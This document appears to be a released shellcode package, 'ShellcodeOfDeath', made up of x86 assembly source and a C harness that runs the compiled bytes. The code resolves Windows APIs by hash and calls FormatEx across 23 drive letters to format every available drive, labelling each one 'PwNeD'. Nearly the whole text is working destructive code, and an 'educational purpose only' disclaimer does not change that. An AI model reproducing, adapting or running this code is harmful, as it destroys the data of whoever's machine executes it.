ShellcodeOfDeath has been designed to format all the available drive on Windows.

Disclaimer: This shellcode is developed for educational purpose only. The author
is not and will not hold any responsibility for any illegal or unauthorized use 
of #ShellcodeOfDeath. Any use of this shellcode is at the reader’s own risk.

Home Page: http://hacksys.vfreaks.com/

Post Link: http://hacksys.vfreaks.com/research/shellcode-of-death.html

You may download Shellcode Of Death archive from the above link.


======================================================================
				Start Of Code - ShellcodeOfDeath.s
======================================================================

/*
 *                      _     __             _____                     
 *      /\  /\__ _  ___| | __/ _\_   _ ___  /__   \___  __ _ _ __ ___  
 *     / /_/ / _` |/ __| |/ /\ \| | | / __|   / /\/ _ \/ _` | '_ ` _ \ 
 *    / __  / (_| | (__|   < _\ \ |_| \__ \  / / |  __/ (_| | | | | | |
 *    \/ /_/ \__,_|\___|_|\_\\__/\__, |___/  \/   \___|\__,_|_| |_| |_|
 *                               |___/                                 
 *									  http://hacksys.vfreaks.com/
 *									    hacksysteam@hotmail.com
 * 
 * 					     Shellcode Of Death
 *							              v1.0
 * 	
 * 			Ruei-Min Jiang (@mike820324) a.k.a MicroMike
 * 			Ashfaq Ansari (ashfaq_ansari1989@hotmail.com)
 *
 * Still a lot can be done to improve this shellcode. This is the first release.
 * Further, a lot of improvement and optimization can be done to this shellcode. 
 * Any bugs, suggestions or contribution is most welcomed.
 *
 * Lenth of shellcode: 387 bytes
 * Number of NULL byte: 49
 *
 * Notes: There are more NULL bytes due to a fact that few of the Windows API used
 * 		  accepts input in UNICODE format. Still, NULL bytes can be reduces further.
 *		  We can use any simple encoder to xor encode the shellcode and eventually
 *		  eliminate NULL bytes.
 *				  
 * Things to do:
 *				1. Code cleanup
 *				2. Optimization	
 *              3. Minification
 *              4. Add suggestions
 */
.globl _main

_main:
	               jmp start_shell;	               
/* 
 * %edx store the base address of kernel32.dll (input)
 * %ebx points to the start of symbal name table (input)
 * %ecx contains the destination hash value (input)
 * %eax is the index_counter (output)
 */
 hash_function:
	               xorl %eax,%eax;
    next_entry:
	               mov (%ebx,%eax,4), %esi;
	               addl %edx, %esi;
	               push %ebx;
	               push %eax;
	               xor %ebx, %ebx;
    continue_hash:
	               xor %eax, %eax;
	               lodsb;
	               rol $5, %ebx;
	               addl %eax, %ebx;
	               cmp $0, %eax;
	               jnz continue_hash;
	               ror $5, %ebx;
	               cmp %ecx, %ebx;
	               pop %eax;
	               pop %ebx;
	               je hash_finish;
	               inc %eax;
	               jmp next_entry;
    hash_finish:
	               ret;
	               
/* 
 * input:
 *       set %edx to the dll base address
 *       set %ecx as the hash value you want to compare
 * output:
 *       %eax is the API address
 */	
get_address:
    PE_init:
	               movl %edx, %eax;
	               movl 0x3c(%eax), %eax;
	               movl 0x78(%edx, %eax), %eax;
	               leal (%edx, %eax), %eax;
	               pushl %eax;
	               movl 0x20(%eax), %eax;
	               leal (%edx, %eax), %ebx;
	               call hash_function;
    
	               popl %ebx;
	               movl 0x24(%ebx), %ecx;
	               leal (%edx, %ecx), %ecx;
	               movw (%ecx, %eax, 2), %ax;
	               andl $0x0000ffff, %eax;

	               movl 0x1c(%ebx), %ebx;
	               leal (%edx, %ebx), %ebx;
	               movl (%ebx, %eax, 4), %eax;
	               leal (%edx, %eax), %eax;
	               ret;    
/*
 * hash value for each API
 * LoadLibraryA = 0x331adddc
 * CloseHandle = 0xd7629096
 * CreateFileA = 0xcfb0e506
 * ExitProcess = 0xec468f87
 * Sleep = 0x567a110
 * DeviceIOControl = 0x3b34d4a7
 * --------------fmifs.dll---------------
 * FormatEx = 0xab025b64
 */   
start_shell:
    set_Kernel32_env:
	             xorl %ecx, %ecx
                 movl %fs:0x30, %eax;
                 movl 0xc(%eax), %eax;
                 movl 0x1c(%eax), %eax;	             
	next_module:
	             movl 0x8(%eax), %edx;
				 movl 0x20(%eax), %edi;
				 movl (%eax), %eax;
				 cmp 0x18(%edi), %cl;
				 jne next_module;
				 
    set_hash_table:
				 pushl $0xab025b64;
	             pushl $0x0567a110;
				 pushl $0x3b34d4a7;
	             pushl $0xd7629096;
	             pushl $0xec468f87;
	             pushl $0xcfb0e506;
	             pushl $0x331adddc;
	             movl %esp, %ebp;
    end_hash_table:
    set_api_table:
    init_variable:
	             pushl $7;
	             popl %ecx;
	             xorl %edi, %edi;
    loop_start:
	             cmp $1, %ecx;
	             jne set_kernel32_api;
    set_fmifs_env:
	             pushl %ecx;
	             jmp data_string;
	             back_to_here:
    restore_loadlibrary:
	             movl 0x1c(%esp), %eax;
	             call *%eax;
	             movl %eax, %edx;
	             popl %ecx;
    set_kernel32_api:
	             pushl %ecx;
	             movl (%ebp, %edi, 4), %ecx;
	             call get_address;
	             popl %ecx;
	             pushl %eax;
	             inc %edi;
                 loop loop_start;
	             movl %esp, %ebp;
	             jmp start_main_code;
    data_string:
	             call back_to_here;
	             .string "fmifs.dll";    
	             
start_main_code:
    Get_string_addr:
	             jmp 2f;
	             1:;
	             popl %esi;
	Format_start_loop:
	             pushl $23;
				 popl %ecx;				 				 
	format_loop_start:	             
				 movl %ecx, %edi;
	
    CreateFile_call:
	             xorl %edx, %edx;
	             pushl %edx;
	             pushl %edx;
	             pushl $3;
	             pushl %edx;
	             pushl $3;
	             pushl $0xc0000000;
	             pushl %esi;
	             movl 0x14(%ebp), %ebx;
	             call *%ebx;
    Store_File_Handle:
	             pushl %eax;
				 subl $0x4, %esp;
				 xorl %edx, %edx;
    DeviceIOControl_call:
	             pushl %edx;
				 leal 0x4(%esp), %ebx
				 pushl %ebx;
				 pushl %edx;
				 pushl %edx;
				 pushl %edx;
				 pushl %edx;
				 pushl $0x90020;
				 pushl %eax;
				 movl 0x8(%ebp), %ebx
				 call *%ebx;
	close_file_handle:
	             pushl 0x4(%esp);
	             movl 0xc(%ebp), %ebx;
	             call *%ebx;
	
	FormatEx_call:
	             leal call_back-string_start(%esi),%eax;
				 pushl %eax;
				 pushl $4096;
				 pushl $1;
				 leal volume_label-string_start(%esi), %eax;
				 pushl %eax;
				 leal string2_start-string_start(%esi), %eax;
				 pushl %eax;
				 pushl $0xc;
				 leal 0x8(%esi), %eax;
				 pushl %eax;
				 movl (%ebp), %ebx;
				 call *%ebx;
	sleep_call:
	             pushl $200;
				 movl 0x4(%ebp), %ebx
				 call *%ebx;    
	loop_end:
	             movl %edi, %ecx
				 addl $1, 0x8(%esi);
			     loop format_loop_start;
	
    exit_process:
	             push $0;
	             movl 0x10(%ebp), %ebx;
	             call *%ebx;
	2:;
	             call 1b;
	string_start:
	             .byte 0x5c, 0x00, 0x5c, 0x00, 0x2e, 0x00, 0x5c, 0x00, 0x43, 0x00, 0x3a, 0x00, 0x5c, 0x00, 0x00, 0x00
	string2_start:
				 .byte 0x4e, 0x00, 0x54, 0x00, 0x46, 0x00, 0x53, 0x00, 0x00, 0x00
	/*
	 * Volume Label
	 * Set the name of the Volume label
	 * after formatting the respective volume.
	 * Modify volume_label as you desire.
	 * Deafult value -- PwNeD
	 */
	volume_label:
				 .byte 0x50, 0x00, 0x77, 0x00, 0x4E, 0x00, 0x65, 0x00, 0x44, 0x00, 0x00, 0x00
	call_back:
	            push %ebp;
				movl %esp, %ebp;
				xorl %eax, %eax;
				inc %eax;
				pop %ebp;
				ret $0xc;

======================================================================
				End Of Code - ShellcodeOfDeath.s
======================================================================


======================================================================
		Testing Shellcode - ShellcodeTestUnEncoded.c
======================================================================

#include <stdio.h>
#include <string.h>

/* 
                  _     __             _____                     
  /\  /\__ _  ___| | __/ _\_   _ ___  /__   \___  __ _ _ __ ___  
 / /_/ / _` |/ __| |/ /\ \| | | / __|   / /\/ _ \/ _` | '_ ` _ \ 
/ __  / (_| | (__|   < _\ \ |_| \__ \  / / |  __/ (_| | | | | | |
\/ /_/ \__,_|\___|_|\_\\__/\__, |___/  \/   \___|\__,_|_| |_| |_|
                           |___/                                 

                                http://hacksys.vfreaks.com/
                                  hacksysteam@hotmail.com

Module Name:

    Shellcode Test Encoded

Abstract:
    
    This program is used as a template to test 
    C style formatted shellcodes. A decoder is
	already added to the final shellcode output.
    
IDE: 
     
    Dev-C++ 4.9.9.2 (Windows XP SP3)
        
Compiler: 
          
    gcc 3.4.2

*/

unsigned char shellcode[] = 
"\xeb\x5a\x31\xc0\x8b\x34\x83\x01\xd6\x53\x50"
"\x31\xdb\x31\xc0\xac\xc1\xc3\x05\x01\xc3\x83"
"\xf8\x00\x75\xf3\xc1\xcb\x05\x39\xcb\x58\x5b"
"\x74\x03\x40\xeb\xde\xc3\x89\xd0\x8b\x40\x3c"
"\x8b\x44\x02\x78\x8d\x04\x02\x50\x8b\x40\x20"
"\x8d\x1c\x02\xe8\xc3\xff\xff\xff\x5b\x8b\x4b"
"\x24\x8d\x0c\x0a\x66\x8b\x04\x41\x25\xff\xff"
"\x00\x00\x8b\x5b\x1c\x8d\x1c\x1a\x8b\x04\x83"
"\x8d\x04\x02\xc3\x31\xc9\x64\xa1\x30\x00\x00"
"\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x50\x08\x8b"
"\x78\x20\x8b\x00\x3a\x4f\x18\x75\xf3\x68\x64"
"\x5b\x02\xab\x68\x10\xa1\x67\x05\x68\xa7\xd4"
"\x34\x3b\x68\x96\x90\x62\xd7\x68\x87\x8f\x46"
"\xec\x68\x06\xe5\xb0\xcf\x68\xdc\xdd\x1a\x33"
"\x89\xe5\x6a\x07\x59\x31\xff\x83\xf9\x01\x75"
"\x0c\x51\xeb\x1c\x8b\x44\x24\x1c\xff\xd0\x89"
"\xc2\x59\x51\x8b\x4c\xbd\x00\xe8\x6b\xff\xff"
"\xff\x59\x50\x47\xe2\xe0\x89\xe5\xeb\x0f\xe8"
"\xdf\xff\xff\xff\x66\x6d\x69\x66\x73\x2e\x64"
"\x6c\x6c\x00\xeb\x7e\x5e\x6a\x17\x59\x89\xcf"
"\x31\xd2\x52\x52\x6a\x03\x52\x6a\x03\x68\x00"
"\x00\x00\xc0\x56\x8b\x5d\x14\xff\xd3\x50\x83"
"\xec\x04\x31\xd2\x52\x8d\x5c\x24\x04\x53\x52"
"\x52\x52\x52\x68\x20\x00\x09\x00\x50\x8b\x5d"
"\x08\xff\xd3\xff\x74\x24\x04\x8b\x5d\x0c\xff"
"\xd3\x8d\x86\x26\x00\x00\x00\x50\x68\x00\x10"
"\x00\x00\x6a\x01\x8d\x86\x1a\x00\x00\x00\x50"
"\x8d\x86\x10\x00\x00\x00\x50\x6a\x0c\x8d\x46"
"\x08\x50\x8b\x5d\x00\xff\xd3\x68\xc8\x00\x00"
"\x00\x8b\x5d\x04\xff\xd3\x89\xf9\x83\x46\x08"
"\x01\xe2\x8d\x6a\x00\x8b\x5d\x10\xff\xd3\xe8"
"\x7d\xff\xff\xff\x5c\x00\x5c\x00\x2e\x00\x5c"
"\x00\x43\x00\x3a\x00\x5c\x00\x00\x00\x4e\x00"
"\x54\x00\x46\x00\x53\x00\x00\x00"
// Volume Label. You may want to change this.
// Default: PwNeD
"\x50\x00\x77\x00\x4e\x00\x65\x00\x44\x00"
// Volume Label End
"\x00\x00\x55\x89\xe5\x31\xc0\x40\x5d\xc2\x0c\x00";


main()
{

    int i, badchar_c = 0;
	
    printf("\n\nShellcode Length: %d\n", sizeof(shellcode)-1);
	
    for(i = 0; i < sizeof(shellcode)-1; ++i) {
          if(((unsigned char *)shellcode)[i] == 0x00) {
                        badchar_c = badchar_c + 1;
          }
    }
    printf("\nNumber of badchar: %d\n\n", badchar_c);
	
    printf("\nPress any key to execute shellcode....\n\n");

    getch();

    int (*ret)() = (int(*)())shellcode;

    ret();

}

======================================================================
		End Testing Shellcode - ShellcodeTestUnEncoded.c
======================================================================